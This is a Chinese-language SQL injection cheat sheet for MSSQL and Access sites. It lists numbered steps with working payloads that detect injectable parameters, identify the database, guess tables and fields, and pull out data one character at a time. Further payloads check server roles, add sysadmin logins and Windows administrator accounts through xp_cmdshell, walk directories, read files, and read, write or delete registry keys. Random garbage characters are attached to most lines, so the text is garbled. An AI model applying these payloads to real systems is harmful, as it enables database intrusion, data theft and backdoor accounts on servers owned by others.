1.判断是否有注入;and 1=1 ;and 1=2 a/gr1
2.初步判断是否是mssql ;and user>0 \os"j
9D
@}(t!
3.注入参数是字符'and [查询条件] and ''=' ;BW-ag \9
Jyyr'1/<k
4.搜索时没过滤参数的'and [查询条件] and '%25'=' '&F
PkT:5
Eikt,
5.判断数据库系统 DxzNg_E]
xeKfc}:&z
;and (select count(*) from sysobjects)>0 mssql d$PQb9Q+f
2T-3rC)
;and (select count(*) from msysobjects)>0 access :Y[?@/m4
<*+Y]=
VcORRUp
9@ 8)ZHf
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ?dQ#%06mn
|K'7BK_^J
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 o(Q='kK
AxiCpAS;J
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Yzih-$g
3bR 6Y[
9.(1)猜字段的ascii值(access) dk@iAL*v
ZnRE:=
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 %P`|kPW1
;f~z_3g
(2)猜字段的ascii值(mssql) &h?8yV4B
($s%B
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Vv.q{fRvYB
j)lgF:
10.测试权限结构(mssql) E)%r}4u>
y9-}LET3j
~.<}/GP] _
1w|u
^[~u\
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- `l<pH<F
m.>y(TI
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 0r ilg
g?e-D.pSF
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 'Q4V(.
^A;(#5A]7
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
4d )Q
d<>jhp5el
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- $6yr:2Xvt
<dX7{="&
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- nCSXvd/
zK ir
;and 1=(select IS_MEMBER('db_owner'));-- Yc~c(1VRz
(#VF>;;L
?KXgG'!!
/rmm@
11.添加mssql和系统的帐户 YhJ*(oWL
o3xfif
;exec master.dbo.sp_addlogin username;-- =RQ\i6Y
;exec master.dbo.sp_password null,username,password;-- I cz)Qtg|
mc}r15:<
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- }Oh@`xTxt
6)Dp2
;exec master.dbo.xp_cmdshell 'net user username password q)KLf\
GeCyq%dN
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- A]mXV4RmI
e!|T Tap
;exec master.dbo.xp_cmdshell 'net user username password /add';-- n^;Sh$Os
2 NrMse
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- qC$h~Epp4
"T'?Ah6
4XsKOv
62z"cFN
12.(1)遍历目录 6$"0!fl>
K)8N8Js(
;create table dirs(paths varchar(100), id int) F` gQ[
E/N*n!sV
;insert dirs exec master.dbo.xp_dirtree 'c:\' Tq=OYJq5U
B;mt11M
;and (select top 1 paths from dirs)>0 O)WduhlGQ
0G"I}Jp{
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 7K}Sk
,T3_*:0hk!
K h;jiK !
ILq"/S.
(2)遍历目录 vTF_`X
wa}\bNKQk
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- -jOCzp
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 VvTs87
`VxfAV?}
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 {=GWQn6cc
%T:7I[f
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 N#? Ohz
@(_M\>!%M
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 *K1GX
1Ev#[FOc
T2V#
fYCc
]jL`*tI\S
13.mssql中的存储过程 I%<,JRAV
a;$'A[hq
xp_regenumvalues 注册表根键, 子键 MGzuQrl{H
]C
me)&hX
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ;+/[<bv d"
zxt&oT0Q
xp_regread 根键,子键,键值名 ;\5^yDv[e
7>Oa, \
;exec xp_regread j.L`@
.`ppp!:a4
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 5%E.UjC
W~&PGmRI
xp_regwrite 根键,子键, 值名, 值类型, 值 M;i4ss,}!
DlXthRM
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 }4n?k'_s?
uBe1{Z
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 mVBF2F<4
`xpU
xp_regdeletevalue 根键,子键,值名 ]%K 8
1li1&
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 D>c-h)2|
%)K)h&m